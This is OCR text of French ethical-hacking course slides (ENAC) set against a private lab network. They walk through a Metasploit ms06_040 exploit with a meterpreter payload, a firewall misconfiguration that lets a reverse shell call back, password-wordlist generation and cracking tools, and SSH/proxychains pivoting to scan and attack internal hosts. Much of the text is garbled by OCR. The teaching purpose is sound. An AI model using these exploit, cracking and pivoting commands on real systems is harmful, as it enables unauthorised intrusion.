--=[ 551 exoloits - 261 auxiliary
--=[ 208 payloads - 23 encoders - B nops

Nouveau contexte w exploit/windows/smb/nsE6 840 netapi
msT

it(ms86 840 netapi) > set payload windows/neterpreter/kind tcp
paylozd => windows/meterpreter/bing_tcp

Choix de la charge msf exploit(msB6 648 netapi) > show options

HModule options:

hare Currant Setting Required Descristion
Liste des options de HHUS | yes Ihe targst address
. KPURI a4 yes S8t tha M SErvice port
la charge utile SMEPIPE BROWSER yes The ploe name to use (BRCWSER, SRVSVC)
\ Paylued vplions (windows/melerpreler fbind_Lop) s
hame

Current Setting Reguired Description

yes Exit technigue: sch, thread, process
LPCRT 141 yes The 1lacsl port
FHCST no The target address
Positionnement de

1’option RHOST

Fyplnit target:

atic (NT £.€, 2000 5P0-5°4, XP 5PO-5P1)
Lancement de 1’attaque
msf exploit(msB6 848 netapi) > set RHOST 192.163.8.2
\ RHOST => 192.168.0.2
msf exploit(ms06_840_netapi) > exploit

Started bind handler

|% ENAC

Modules auxiliaire

Module sweep_udp (scan)

msf > use auxiliary/scanner/discovery/udp_sweep

msf auxiliary (udp_sweep)> set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24

Pour lancer la découverte d'hote :
msf auxiliary (udp_sweep)> run

Module smb/version

msf > use auxiliary/scanner/smb/smb_version
msf auxiliary (smb_version)> set RHOSTS 192.168.0.12
msf auxiliary(smb_version) > run
[*] 192.168.0.12 is running Windows XP Service Pack 2+
[*] Auxiliary module execution completed
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/4

TD Hacking Ethique: 4.5 et 4.6

|% ENAC

TRANSFERT DES FICHIERS

@\

Le protocole FTP présente les particularités
suivantes:

Il y @ un canal de commandes (port 21)

et un canal de données (port 20 ou > 1023)

Deux modes de fonctionnement
le mode actif
le mode passif

Ftp tourne au dessus de TCP
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TRANSFERT DES FICHIERS

@\

Le canal de commandes sert a envoyer un ensemble
de commandes

Le canal de données sert au transfert des fichiers

Le client se connecte a partir d " un port aléatoire >
1023 vers le port 21 (élémentaire)

Mais quand des données doivent étre transférées ca
se complique un peut suivant que le serveur est en
mode actif ou passif

|% ENAC

20
Données Commandes

—

Canal de commandes

21 5150

Le client se connecte a partir du
port 5150 vers le port 21
du serveur

OK

5151

35



|% ENAC

Canal de données
MODE ACTIF

Le client envoie, grace a la
20 21 commande [PORT], unn® de 5150 5151
Données Commandes port >1023

OK

 )

Le client ftp est maintenant devenu
serveur al’ écoute sur le port 5151

+— | sur le canal de données
[
CANAL DE DONNEES
] OK

|% ENAC

Canal de données
MODE PASSIF

4728 21 5150 5151
Données Commandes [PASV]

Le serveur envoie, grace a la

commande [PORT], un n® de
Le canal de données est créé entre deux
ports aléatoires du serveur et du client

le serveur reste serveur et le client, cliel —"

e
| CANAL DE DONNEES
|
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Topologie réseau du filtrage

192.168.1.21

‘& DMZ

Firewall

10.3.100.0/24

ATTAQUANT 10.3.100.7

|% ENAC

Reégles de filtrage FTP: externe -> DMZ

v' Canal de Cmd :
= Iptables -A ext-dmz —s @reseau_externe —p tcp —sport 1024:65535
—d @serveur_ftp --dport 21 —m state —state NEW, ESTABLISHED
—j ACCEPT

v Canal de données (mode Actif) :
= Iptables -A ext-dmz -s @reseau_externe —p tcp —sport 1024:65535
—d @serveur_ftp --dport 20 —m state —state ESTABLISHED —j ACCEPT

v Canal de données (mode Passif) :
= Iptables -A ext-dmz —s @reseau_externe —p tcp --sport 1024:65535

—d @serveur_ftp --dport 1024:65535 -m state --state
ESTABLISHED,RELATED -j ACCEPT
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Reégles de filtrage FTP: DMZ -> externe

v" Canal de Cmd :

= [ptables —A dmz-ext —s @serveur_ftp —p tcp —sport 21 —d @reseau_externe
—dport 1024:65535 —m state —state ESTABLISHED —j ACCEPT

v’ Canal de données (mode Actif) :
= Iptables —A dmz-ext —s @serveur_ftp —p tcp —sport 20 —d @reseau_externe
—dport 1024:65535 —m state —state RELATED, ESTABLISHED —j ACCEPT

v Canal de données (mode Passif) :
= Iptables —A dmz-ext —s @serveur_ftp —p tcp —sport 1024:65535
—d @reseau_externe —dport 1024:65535 —m state —state ESTABLISHED
—j ACCEPT

|% ENAC

192.168.1.21

,
Rappel sur la charge Finale Metasploit g
Serveur FTP DMZ

Firewall

ATT@ANT -

Port 5555

10.3.100.0/24

10.3.100.2

Externe

PAYLOAD meterpreter en reverse TCP:
Contact initié par 192.168.1.21 vers le port 5555
de I'attaquant positionné en écoute (mode serveur)
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OU EST I'ERREUR ?

192.168.1.21

‘&5 DMZ

10.3.100.0/24

10.3.100.n

Externe

Port 5555

Observons de plus pres les regles de filtrage du FireWall

|% ENAC

Faille-RWall: externe -> DMZ

$IPTABLES -A externe-dmz -ptcp -s0/0 -d $FTP --dport 21 -m state
--state NEW,ESTABLISHED -j ACCEPT

#canal des données pour lequel il faut prendre en compte le ftp actif et le ftp passif

# 1 FTP actif : notre serveur ftp a initié une connexion (outbound) vers le client externe
sur un port choisi (envoyé au serveur grace a la commande PORT), a partir de son port
20. On traite ici les réponses du client.

$IPTABLES -A externe-dmz -ptcp -s0/0 -d $FTP --dport 20
-m state —state ESTABLISHED -j ACCEPT

# 2 FTP passif : Ici c'est la machine cliente sur le réseau externe qui initie une connexion
(inbound) d'un port local >1023 vers un port distant > 1023 de notre serveur ftp

$IPTABLES -A externe-dmz -p tcp -s 0/0 --sport 1024:65535

-d $FTP --dport1024:65535 -m state --state
ESTABLISHED,RELATED -j ACCEPT
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Faille-RWall: DMZ -> externe

$IPTABLES -A dmz-externe -p tcp -s $FTP --sport 21 -m state --state
ESTABLISHED -j ACCEPT

# le canal des données pour lequel il faut prendre en compte le ftp actif et le ftp passif

# 1 FTP actif : notre serveur FTP qui a été contacté par une machine du réseau externe initie une
connexion (outbound) vers le client sur un port choisi (envoyé au serveur grace a la commande
PORT), a partir de son port 20

$IPTABLES -A dmz-externe -p tcp -s $FTP --sport 20 -m state --state
ESTABLISHED,RELATED -j ACCEPT

# 2 FTP passif : Ici c'est la machine cliente distante sur le réseau externe qui initie une connexion
(inbound) d'un port local >1023 vers un port distant > 1023 de notre machine serveur qui a
été contacté. on traite ici les réponses.

$IPTABLES -A dmz-externe -ptcp -s$FTP --sport 1024:65535
--dport 1024:65535 -j ACCEPT

|% ENAC

Faille-RWall: DMZ -> externe

La faille est 1a.....(?)

$IPTABLES -A dmz-externe -p tcp -s $FTP --sport 21 -m state --state
ESTABLISHED -j ACCEPT

# le canal des données pour lequel il faut prendre en compte le ftp actif et le ftp passif

# 1 FTP actif : notre serveur FTP qui a été contacté par une machine du réseau externe initie une
connexion (outbound) vers le client sur un port choisi (envoyé au serveur grace a la commande
PORT), a partir de son port 20

$IPTABLES -A dmz-externe -p tcp -s $FTP --sport 20 -m state --state
ESTABLISHED,RELATED -j ACCEPT

# 2 FTP passif : Ici c'est la machine cliente distante sur le réseau externe qui initie une connexion
(inbound) d'un port local >1023 vers un port distant > 1023 de notre machine serveur qui a
été contacté. on traite ici les réponses.

$IPTABLES -A dmz-externe -ptcp -s $FTP --sport 1024:65535
--dport 1024:65535 -j ACCEPT
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Faille-RWall:
Il aurait fallu écrire ?
# 2 FTP passif : Ici c'est la machine cliente distante sur le réseau externe qui initie une connexion

(inbound) d'un port local >1023 vers un port distant > 1023 de notre machine serveur qui a
été contacté. on traite ici les réponses.

$IPTABLES -A dmz-externe -ptcp -s$FTP --sport 1024:65535
--dport 1024:65535 ..... cees -j ACCEPT

Ainsi 192.168.1.21 ne peut plus initier
une nouvelle connexion vers le pirate

|% ENAC

/4

TD Hacking Ethique:
étapel jusqu’au 4.7.1
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Le PLAN

v Quitils d'Intrusion

v
v
v'Craqueurs
v

v

v

|% ENAC

Les outils de craquage
Constituer un dictionnaire

Crunch

http://sourceforge.net/projects/crunch-wordlist/files/

WYD ( who's Your Daddy? )

Infos: http://www.socialengineer.org/framework/Computer_Based_Social_Engineering
_Tools:_Who's_Your_Daddy_Password_Profiler_(WYD)
Télécharger: http://www.remote-exploit.org/content/wyd-0.2.tar.gz

CUPP ( common User Passwords Profiler )

Infos: http://www.social-engineer.org/framework/Computer_Based_Social_Engineering
_Tools:_Common_User_Passwords_Profiler_(CUPP)

Télécharger: http://www.remote-exploit.org/articles/misc_research__amp_code/index.html
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Constituer un dictionnaire

weyland-yuten’
Crunch Eiien RipleY
Kitty-jones
Nelli_Pleye?
Crunch

générateur de listes de mots

basé sur un jeu de caracteres fixé par |'utilisateur

géneére toutes les combinaisons et permutations possibles
Attention a la taille des fichiers générés !

Exemple :
.Jerunch 1 4 abc123 -b 1mb -0 mondico

Génére toutes les chaines de 1 a 4 caractéres possibles (min=1 et max vaut 4)
parmi I'ensemble abc123, avec une taille du fichier mondico produit inférieure 3 1mb

|% ENAC

Constituer un dictionnaire
Crunch: jeux de caractéres

un jeu de caractéeres est disponible dans le ficier
charset.Ist

Exem ple (@ partir du répertoire /pentest/passwords/crunch):
Jcrunch 8 8 —f ./charset.list numeric -0 mondico

Crr]pﬁrgch géneére une liste de mots de passe longs 8 caractéres composés de
chiffres.

# compatible with rainbowcrack 1.1 and later by Zhu Shuanglel <shuang lei@hotmail.com>

- lower = [0123456789=hcde1]
hex-upper = [0123456789ABC0ER ]
numeric = [01234567349]
by fotmzaserao—3
synbolsld [ a3 54 (—_+=]

[laggg g (i-_+= ]

Lladgaman()-_+=""[1{}%:3 " O, 5/]
[lagge e )-_+=""[113[hes" 2,07 ]

[ABCDEFEHT JKLMNOPERSTUYLIXYZ ]
[ABCDEFGHIJKLMNOPERSTUVUNYZ ]
[ABCDEFGHILIKLMHOPRRS TUVLIX V20123456 789 ]
[RBLCOEFGHIJKLMHOPHRS TUY LK YZ0123456789 ]

synbolsld-space

=ynbols-all
syibols-all-space

ualpha

ualpha-space
ualpha-numeric
ualpha=runeric=space

4,1 12 fuw
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Constituer un dictionnaire
Crunch: charset persos

II est possible de personnaliser le fichier charset.|st

Ici je créée un jeu de caracteres baptisé lamaison et
contenant les caractéres [260theo]

# conpatible with rainbowsrack 1.1 and later by Zhu Sheargle: <shuangleifho-mail .com:

Bana:=on = [2a0th=o] l
o [odazas, accle ]

}ex—apper - t01234]6?EBHBCDEF]

rumeric = [U1Z34367E3°

runeric-spacs = [01ddd0bsed ]

sunbolsld = [la#peas()- =)

sunbols1d-space = [la#3"ax()-_= ]

synbinl=-all = [la#p s O -_-=""[]{3 N e " ey, 7]
synhols-all-space = [la#ge™as =" [1{} s e, 70 ]

[ABECDETGHIJKLMMOPRRITUN L YZ]
[NECDETCHIJELMMOPARITUN LRYE ]
[ABCOC™G I TJELMHOPRRITUN kY20 23456759 ]
[ABCDETGHIJELMNOPRRITUN Y20 23406755 ]

Lalpha

Lalpha =pace
Lalpha-rumeric

L Jpb i =r e Lo—sprase

4 1 l lz i

|% ENAC

Constituer un dictionnaire
Crunch: jeux de caractéres persos

Utilisation du jeu de caractéres (au nombre de 7) lamaison
Liste de mots de passes ( 78 = 5 764 801 de mots de passe générés )

root@bt r/pentest/passwords/crunchi . /orunch 8 8 —f charset.lst lamaison -o testl
Crunch will now gernerate the following amount of data: 51883208 bytes

49 MB

0GB

aTB

0 PE

Crunch will now generate the following number of lines: 5764801

10

rootébt : fpentest/passwordsferunchi [

UL 2L
00000022
00000026
0000002t
0000002h
00000028

R 00000020
Taille du oooeoso
Q0000062
00000066
0000006t
O00000RK

root@bt : /pentest/passwordsfcrunchi 11

total 50820

dru-r-xr-x root root 4096 2014-06-24 17:56 ./
druxr-xr-= 35 root root 4086 2012-08-08 19:19 ../

[~

-riAr-#r—w 1 root root 0657 2014-06-24 17351 charsel.Istx
-ruAr-gr-x 1 root root 53280 2012-02-16 04:48 crunchs
: - . bt 3 YA y=3
I,rm,r,,r,, 1 root root G1883209 2014-06-24 17:55 testl I
YY) ) TN |
ooooochz T

1,1 Top hm
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Crunch: option -p

L'option —p suivi du jeu de caractéres permet d'éviter de répéter chaque caractére
dans le mdp

root@bt :/pentest/passwordsfcrunchi /orunch 8 8 -0 test2]| -p 2602then
Crunch will now generate spproximstely the following amoufit of data: 36FS80 butes

S
be )

Crunch will now generate the following number of lines: 40320
10

root@bt t/pentest/passwordsferunchi i

0226e0th
03Z6stho
0226etoh
-0226Heat
0226keto
0326h0st
0226Hote
0226hten
0326Htos
03260eht
02260eth
09%6chet
0326chts
0226ateh
02260the
0326 teho
0226t eah
0226theo
To6thos

22,1 Tor

Constituer un dictionnaire \\\7

|% ENAC

Constituer un dictionnaire
WyD

a pestouches
[Ferdinan! Renaudot

Bardamu ”
Clichy-1932 Detrol

Crunch

Wyd
Outil de profilage de mots de passe

Extrait des chaines de caractéres a partir de fichiers ou de
répertoires.

Analyse les fichiers en fonction de leur nature et extrait les

informations utiles (titres de morceaux, compositeur pour des mp3 ou
descriptions et titres d'images).
Exemple: mkdir /site-victime

cd site-victime/

wget -r http://www.site-victime.fr

perl wyd.pl -o liste-victime.txt -t -b -e /home/pirate/site-victime/
Cupp
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Constituer un dictionnaire
Cupp

Cupp
Profilage automatique de mots de passe communs
Recommandé de I'utiliser a la suite de Wyd

prédire des mots de passe simples en exploitant les failles de
I'humain

Exemple:
python cupp.py -w /home/pirate/site-victime/liste-victime.txt

|% ENAC

Les outils de craquage

John the ripper

http://www.openwall.com/john/

RainbowCrack

http://www.antsight.com/zsl/rainbowcrack/

Hydra

https://www.thc.org/thc-hydra/
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Les outils de craquage
John the ripper T

deux modes en force brute:
« single crack », incremental

un mode dictionnaire
Wordlist

Les outils de craquage / 4//

John: --rules

En mode dictionnaire, I'option --rules permet d'utiliser des regles

de « trituration » (substitutions et permutations de caractéres) des mots
de passe candidats

Extrait du fichier john.conf:

= LLe
’E T4 g M T[zU] T[zl] T[zQ] T[zE] g
-c T8 @M T[z0] T[z1] T[z2] T[z3] T[z4] &
-c Te & M T[z0] T[z1] T[z2] T[z3] T[z4] T[z5] &
-« T7 B M T[z0] T[z1] T[z2] T[z3] T[z4] T[z5] T[zE] 5}
# Verg zlow stuff..
1 Az"[1- 90][0 9] [0-! 9
& (Ta o fAz"[1- EIO][O B][O B] L+
<[\-8] 1 A\p[z0]"[a-z][a-=]"
<- 1 "[a-z] 8[a—=]

# Wordlist mode rules
[List.Rules:lUordlist]
# Try words as they are

# Toggle case everguhere (up to length 8}, assuming that certain case

# combinations were alreadu tried.

- TLEMTOR

= T2 8 M T[z0] T[z1] ]

-c T3 QM T[z0] T[z1] T[z2] §

-c T4 6 M T[z0] T[z1] T[z2] T

-© T5 B M T[z0] T[z1] T[z2] T[zE] T[zd]

-o T &M T[z0] T[zl] T[z2] T[z3] T[z4] T[z5] @

-c T7 & M T[z0] T[z1] T[z2] T[z3] Tlz4] T[z5] T[z6] &

#lowercaze vouels, uppercase consonants: CrackSh' -> "CRaCKIE"
It 202
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Les outils de craquage
RainbowCrack

John the ripper

RainbowCrack
Génération de dictionnaires pré-calculés

Compromis entre % de résolution et taille du
dictionnaire

table disponibles publiquement .... ou non

Hydra

|% ENAC

Les outils de craquage

John the ripper

RainbowCrack

Hydra
Craquage de mots de passe en réseau

Supporte une grande quantité de services réseaux
Ssh, imap, ftp, http, mysql etc.....
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/4

TD Hacking Ethique:
étapel jusqu‘au chapitre 5

Le PLAN

‘ f v" Outils d'Intrusion
_— v
v
v

v"Pour pivoter

v" En cas d'incident
v
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Pour pivoter

-. VPN

Redirection de Ports SSH
- Firewalls
-.Proxychains

|% ENAC

Pour pivoter
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Réle d’'un VPN

« Réle d’'un VPN
37 e pallier .. . . . . " ) .
- permet a 2 réseaux d LI, ..se distribués géographiquement de constituer un seul réseau
logique stir et privé (chiffrement a I’intérieur du tunnel)

- permet également de palier & un déficit d’adresses routables

Internet D JJ

T e R

communications sécurisées

AY
’ /.
' J j . réseaif interjie - \
0 résea interne a lintérieur du funnel Lf D : \
D (par exemple avec IPsec) | | !
r’__f/

~ /
|% ENAC
=
- , =
Principe d'un VPN
-
« Principe

- Lencapsulation (ou tunneling) de paquets dans d’autres paquets
- Exemple avec IP (& envoie un paquet a B) :

en-téte IP données

‘@IPRI | @IPR2 ‘-@IPA @IP‘E| ‘
4

I'@IPRl

=)

=

le premier paquet est

en-téte IP données encapsulé a l'intérieur
du nouveau paguet

[e1Paferee | ...

A ce nouveau paquet, on
[ peut appliquer des techniques
de chiffirement ou de signature
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Exemples de mise en oeuvre d'un VPN

& 8
S8

Niveau liaison : PPTP (Point-to-Point Tunneling Protocol), L2TP
(Layer 2 Tunneling Protocol)

Niveau réseau : IPSec (service ESP) en mode tunnel
Niveau applicatif : SSH, DNS2TCP

|% ENAC

Pour pivoter

- VPN
-. Redirection de port SSH

-.Firewalls
-.Proxychains
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SSH : Redirection de port TCP

La redirection de port consiste a encapsuler un
autre service TCP/IP (par exemple IMAP) dans une
session SSH afin de leur apporter les bénéfices
du tunnel de transport.

Redirection de Port TCP

Application

Connexion directe
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Redirection de port TCP

La commande SSH est lancée, comme a |'accoutumée, a partir du
client SSH.

Le référentiel local/distant est le client SSH

Deux types de redirection:

Redirection Locale:

C'est la machine qui crée le tunnel qui initie I'envoie les données
dans ce tunnel

Redirection distante

|% ENAC

Redirection de port TCP

Redirection Locale

C'est la machine qui crée le tunnel qui initie I'envoie les
données dans ce tunnel .

le client imap et le client SSH sont sur la méme machine

Syntaxe
ssh —L port-local:machine-distante:port-distant serv_SSH
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Redirection Locale
Exemple 1

le client imap et le client SSH sont sur la méme machine

le serveur imap et le le serveur SSH sont sur la méme
machine

(3 Redirection Locale
Application

Machinel veut lire ses nouveaux messages courriels :
sur le client SSH (machinel) on lance la commande :

- ssh -L 1234: localhost: 143  serv_imap_ssh H
S — | —

e

Port 1234

- 9

Port 143

Configuration lecteur de courrier: Port SSH 22
serveur imap= locathost
port= 1234
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Redirection Locale
Exemple 2

le client imap et le client SSH sont sur la méme
machine

le serveur imap et le le serveur SSH sont sur une
machine différente

(3 Redirection Locale
Application

Machinel veut lire ses nouveaux messages courriels :
sur le client SSH (machinel) on lance la commande :

ssh -L 1234: serv_imap: 143  serv_ssh

SERV_IMAP
Machine1
Configuration lecteur de courrier: Port SSH 22

serveur imap= localhost
port=1234
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TD Hacking Ethique:
chapitre 5 Etape2: premier pivot

|% ENAC

Pour pivoter

-.Firewalls

-.Proxychains
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Caractéristiques d’un firewall (1/3)
Différents modes de fonctionnement

1. Fonctions de filtre et de cloisonnement

2. Fonctions de relais et de masque (ie. proxy)

|% ENAC

Caractéristiques d’un firewall (1/2)
Différents modes de fonctionnement

1. Fonctions de filtre et de cloisonnement

Concept simple, complétement transparent pour
I'utilisateur interne ou externe, rapide

Difficulté de paramétrer la configuration de fagon
cohérente, pas de mécanisme d’authentification

Différents types

Firewall routeur (stateless firewall) : analyse
chaque paquet selon un ensemble de regles
déterminees qui constituent le filire et les
informations contenues dans le paquet

Statefull firewall : permet de filtrer les paquets en
se basant sur la couche transport (ports de
communication UDP-TCP)
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2.

Caractéristiques d’un firewall (2/2)
Difféerents modes de fonctionnement

Fonctions de relais et de masque (ie. proxy)
Application-level gateway (ALG)

Circuit-level gateway (CLG)

|% ENAC

Fonctions de relais et de masque en ALG (1)

Principe
Permet d'établir un relai entre le réseau interne et le réseau externe en se
basant sur le contenu des messages au niveau applicatif,

Un utilisateur externe demande une connexion TCP/IP a la passerelle, qui
guthen(tjifie et qui, en cas de succes, contacte I'application que I'utilisateur
emande,

Nécessite la collaboration de la part des systémes finaux.

Exemple : utilisation d'un serveur proxy cache Attp pour sortir sur internet
depuis un réseau interne; il est nécessaire sur le poste client de modifier la
configuration du browser pour qu'il utiliser le serveur http interne.

Relaifproxy Mond; gxﬂriiur
(HTTP) (internet) 118
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Fonctions de relais et de masque en ALG (2)

Client
WEB

Réseau Interne Internet

|g ENAC

Fonctions de relais et de masque en CLG (1)

« Principe
- permet d’établir un relai au niveau transport
- empéche 1’établissement d’une connexion TCP (ou UDP) point & point
=> ¢tablissement de deux connexions différentes : la premiére dans le réseau protégé

avec la machine interne et la seconde avec la machine externe

« Avantages
- pas spécifique 4 une application : est done plus "générique" a priori

« Inconvénients
- effectue des contrdles moins précis que ’application-level gateway
=> fonctionnellement équivalent & un packet-filter
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Fonctions de relais et de masque en CLG (2)

« Exemple (1)
-SOCKS (http://www.socks.permeo.com)
- SOCKSvS5 est un standard IETF (rfc1928) et un outil associé
- 2 composants : le serveur et client
+ le server est implémenté au niveau de la couche application

+ le client est implémenté entre la couche transport et la couche application

Client SOCKS Server

|% ENAC

Fonctions de relais et de masque en CLG (3)

« Exemple (2)
- configuration du serveur
=> effectue de ’authentication, du relai (UDP, TCP)
== /etc/sockd. conft

permit ... -~ acceés autorisés

deny ... -———— qccés refusés

- configuration du client
+ les applicat librairieelles (celnet, £Ep, ...) doivent étre modifiées de fagon a ce qu’elles
utilisent la librarie de SOCKS : cette librairie permet d’effectuer des accés au serveur
SOCKS si nécessaire de fagon transparente pour les utilisateurs
+ dans le fichier /etc/socks . conf, on indigue quels accés extérieurs doivent passer
par le serveur SOCKS, quels acceés extérieurs ne sont pas relayés
direct ... o gceés non relavés

sockd ... acces relayés
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Pour pivoter

-.Proxychains

|% ENAC

/
PROXYCHAINS : principes %q
[

Proxychains est un outil qui permet de faire sortir le
traffic d'une application a travers un tunnel SOCKS
précédemment configuré et ouvert

Etant donné que le tunnel SOCKS peut étre ouvert vers
n‘importe qu’elle autre machine, Proxychains permet de
faire éxecuter une application sur n‘importe qu'elle
machine distante (i.e. la sortie du tunnel SOCKS)

= Contournement aisé de la politique de sécurité d’'un
Firewall
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PROXYCHAINS : exemple (1) \

ckoat R v SOCKS Peomy
Anacket NLn;:'rq S’UCK_ Proxy 1166 Natwork
Ve

Rouler

Serveral 11.00.32

o022 100.0.1 mierface - 11.00.7 imerace with cpen port 445
b
BOGKS Proxy Tumnel
Runs Windows

Server 2003 3P0

- s
= 1000 S Router is using selective port forwarding and a
02 Natan firawall, Wa hava credentials for user root

Le firewall n"autorise que le trafic SSH

L'attaquant veut contacter le serveur Windows

(situé derriére le routeur) SUr le port 445 (Microsoft Directory
Services aka Netbios)

PROXYCHAINS : exemple (2)

Mettre en place le tunnel SOCKS (via SSH) entre I'attaquant et le Firewall
root@bt: ssh -NfD 9050 root@10.0.0.1

Configurer proxychains (fichier /etc/proxychains.conf) sur la machine de
I'attaquant :

[ProxyList]

# add proxy here ...

socks4 127.0.0.1 9050

Utilisation de proxychains depuis la machine de I'attaquant :
root@bt: proxychains msfconsole

Lattaguant peut maintenant utiliser metasploit pour exploiter une vuinérabilité du
serveur Windows (port 445) qui se situe derriére le routeur
= Tout le trafic généré par Metasploit sera directement redirigé vers
linterface de sortie du routeur (sur le réseau prive)
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N

PROXYCHAINS : utilisation avanceée (1) \

Le nombre de redirection que I'on peut concatener dans
proxychain n’est pas limite
Dans le TP vous utiliserez deux chainages successifs :

Premier tunnel SOCKS (traverser le Firewall et arriver sur le serveur FTP)

Deuxiéme tunnel SOCKS (rebondir du FTP vers la machine dont le compte
lamaison a été trouvé @192.168.1.1)

Vous utiliserez ainsi NMAP en local mais il sera exécuté sur le

réseau distant a travers un premier pivot (atteignable via le premier
serveur SOCKS)

root@bt:™/proxychainsld ssh -Nf  -D 127.0,0.1:7777 root@192.168.1.21
mntl!ht ,fpr'nxychalnsl# netztat -an | grep 7777

7.0.0, L7777 0.0,0,0:% LISTEM
rout@ht ,’pr‘nxychalnsl# 1

puis un deuxiéme pivot (atteignable via le deuxieme serveur SOCKS)

root@bt:”/proxychainsld proxychains ssh -Nf -D 127.0.0,1:8888 lamaison@192,168.1.1
ProxgChainz-3,1 {http://proxgchains,sf, net)

|S-chain [-<>-127.0,0,1:7777-<><-102 168, 1, 1:22-<-0K

lanaison@182.168.1.1"'s passuard:

root€bt;”/proxychainsit [l

|% ENAC

PROXYCHAINS : utilisation avanceée (2)

Il est maintenant possmle de pouv0|r utiliser un outil comme NMAP
depuis la machine de I'attaquant :

proxychains nmap -v -sT-PN -n 192.168.2.1-10 -p 25-80

root@bt:"/progychains2# Eruxuchains nmap -y -sT -PN -n 192,168.2,1-10 -p 25-50
L 2 dlidipanbdaroxychains .f .net )

Starting Mmap 6,01 { http://nnap.org ) at 2014-06-25 15:25 CEST

Initiating Connect Scan at 15:25

Scanning 10 hosts [96 ports/haost]

|5-chain|-<>-127,0,0,1:8888-<><>-192,168,2 ,2:53-<--t ineout

|S*Chain\*<>*127,0.0.1:8888*007182.168,2.5:53*chanmel 1 open failed: connect fal

¢ Connection timed out

La commande sera lancée depuis la machine de lattaquant, pivotera sur le
serveur FTR, puis sur la machine dont vous avez précedemment trouvé le
compte lamaison pour finalement scanner le réseau 192.168.2.1 —
192.168.2.10

Remarque de configuration : I'utilisaiton de deux redirections proxychain
necessite deux configurations dlfferentes de proxychains c'est la raison pour
laguelle le nmap est executé dans le répertoire proxychains2
Fichier /etc/proxychains.conf
socks4 127.0.0.1 8888
et les deux pivots précédents dans le répertoire proxychainl
Fichier /etc/proxychains.conf
socks4 127.0.0.1 7777
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PROXYCHAINS : résumé des tunnels SOCKS utilisés

192.168.1.21 192.168.1.1
. (compte lamaison)
Pivot 1 Serveur FTP

10.3.100.0/24

ATTAGUESF Configuration proxychainl

10.3.100.n
socx SHRSERR v

/
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PROXYCHAINS : résumé des tunnels SOCKS utilisés

Pivot 2

192.168.1.21 192.168.1.1
(compte lamaison)
Pivot 1 Serveur FTP

10.3.100.0/24

ATTAQUANT Configuration proxychainl

10.3.100.n7 SOCKS 88-2.168.1.]

SOQC FTP
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PROXYCHAINS : résumé des tunnels SOCKS utilisés

Pivot 2
192.168.1.21 192.168.1.1
PiVOt 1 G e (compte lamaison)

|% ENAC

TD Hacking Ethique: Chapitres 6 et 7
(étapes 3 et 4)




